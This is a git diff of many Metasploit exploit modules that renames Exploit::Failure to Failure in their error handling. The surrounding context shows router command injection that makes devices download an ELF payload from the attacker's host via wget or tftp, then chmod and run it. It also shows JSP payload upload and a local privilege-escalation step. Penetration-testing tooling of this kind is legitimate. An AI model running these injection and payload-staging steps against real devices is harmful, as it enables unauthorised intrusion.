@ -93,7 +93,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
|
||||
end
|
||||
|
||||
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
|
||||
end
|
||||
|
||||
payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)
|
||||
|
|
|
@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Attempting to login...")
|
||||
@josso_id = get_josso_token
|
||||
if @josso_id.nil?
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
|
||||
end
|
||||
print_good("#{peer} - Authentication successful")
|
||||
|
||||
|
|
|
@ -118,25 +118,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -192,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -119,25 +119,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -166,7 +166,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
waited += 1
|
||||
if (waited > datastore['DELAY'])
|
||||
@tftp.stop
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -93,29 +93,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
if res.body =~ /lan_ipaddr_0/
|
||||
print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
#now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
|
||||
@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
|
||||
if @now_proto_orig !~ /dhcp/
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
|
||||
end
|
||||
@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
|
||||
if @wan_proto_orig !~ /dhcp/
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
|
||||
end
|
||||
@lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
|
||||
@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
|
||||
|
@ -170,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = request(cmd,user,pass,uri)
|
||||
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||||
end
|
||||
|
||||
#the device needs around 10 seconds to apply our current configuration
|
||||
|
@ -263,15 +263,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
|
||||
|
@ -279,13 +279,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
cmd = "`#{cmd}`"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -345,7 +345,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "`#{cmd}`"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -366,7 +366,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
select(nil, nil, nil, @timeout)
|
||||
|
@ -379,7 +379,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
select(nil, nil, nil, @timeout)
|
||||
|
@ -413,7 +413,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if login
|
||||
print_good("#{@peer} - Login successful")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options")
|
||||
fail_with(Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options")
|
||||
end
|
||||
|
||||
exploit_native
|
||||
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if upload_file(elf_location, elf_filename, elf)
|
||||
register_files_for_cleanup("#{elf_location}/#{elf_filename}")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed")
|
||||
fail_with(Failure::Unknown, "#{@peer} - Payload upload failed")
|
||||
end
|
||||
|
||||
print_status("#{@peer} - Uploading JSP to execute the payload")
|
||||
|
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if upload_file(jsp_location, jsp_filename, jsp)
|
||||
register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
|
||||
fail_with(Failure::Unknown, "#{@peer} - JSP upload failed")
|
||||
end
|
||||
|
||||
print_status("#{@peer} - Executing payload")
|
||||
|
|
|
@ -122,25 +122,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}")
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -251,7 +251,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -93,19 +93,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
if res.body =~ /pppoe_username/
|
||||
print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
|
||||
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = request(cmd,user,pass,uri)
|
||||
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
|
@ -209,10 +209,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -235,28 +235,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
if res.nil? or res.code == 404
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
grab_config(user,pass)
|
||||
|
||||
if target.name =~ /CMD/
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
cmd = "%26%20#{cmd}%20%26"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
|
@ -313,7 +313,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "%26%20#{cmd}%20%26"
|
||||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
|
@ -357,7 +357,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -193,7 +193,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
def dereference_got
|
||||
|
||||
unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
|
||||
fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
|
||||
fail_with(Failure::NoTarget, "Invalid target specified: no callback functions defined")
|
||||
end
|
||||
|
||||
buf = ""
|
||||
|
@ -224,7 +224,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
canary = find_canary
|
||||
|
||||
if canary.nil? || canary == 0x00000000
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to find stack canary")
|
||||
else
|
||||
print_good("#{peer} - Canary found: 0x%08x\n" % canary)
|
||||
end
|
||||
|
|
|
@ -114,15 +114,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unknown, 'Connection failed')
|
||||
fail_with(Failure::Unknown, 'Connection failed')
|
||||
end
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
|
||||
print_good("#{@peer} - Payload sent successfully")
|
||||
elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
|
||||
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
|
||||
fail_with(Failure::Unknown, 'Sending payload failed')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - Retrieving session cookie...")
|
||||
cookies = get_cookies
|
||||
if cookies.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to retrieve the session cookie")
|
||||
fail_with(Failure::Unknown, "Failed to retrieve the session cookie")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Executing payload...")
|
||||
|
|
|
@ -110,13 +110,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, 'Connection failed')
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
rescue
|
||||
fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
|
||||
fail_with(Failure::Unknown, 'Sending payload failed')
|
||||
end
|
||||
|
||||
if res and res.code == 401
|
||||
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Trying 0x%.8x ..." % addresses['Ret'])
|
||||
|
||||
if (not connect_login)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to log in!")
|
||||
fail_with(Failure::Unknown, "Unable to log in!")
|
||||
end
|
||||
|
||||
req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
|
||||
|
|
|
@ -86,7 +86,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
|
||||
id=cmd_exec("id -un")
|
||||
if id!="hpsmh"
|
||||
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
|
||||
fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
|
||||
end
|
||||
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
|
||||
cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
||||
|
|
|
@ -84,7 +84,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
print_status("Checking actual uid...")
|
||||
id = cmd_exec("id -u")
|
||||
if id != "48"
|
||||
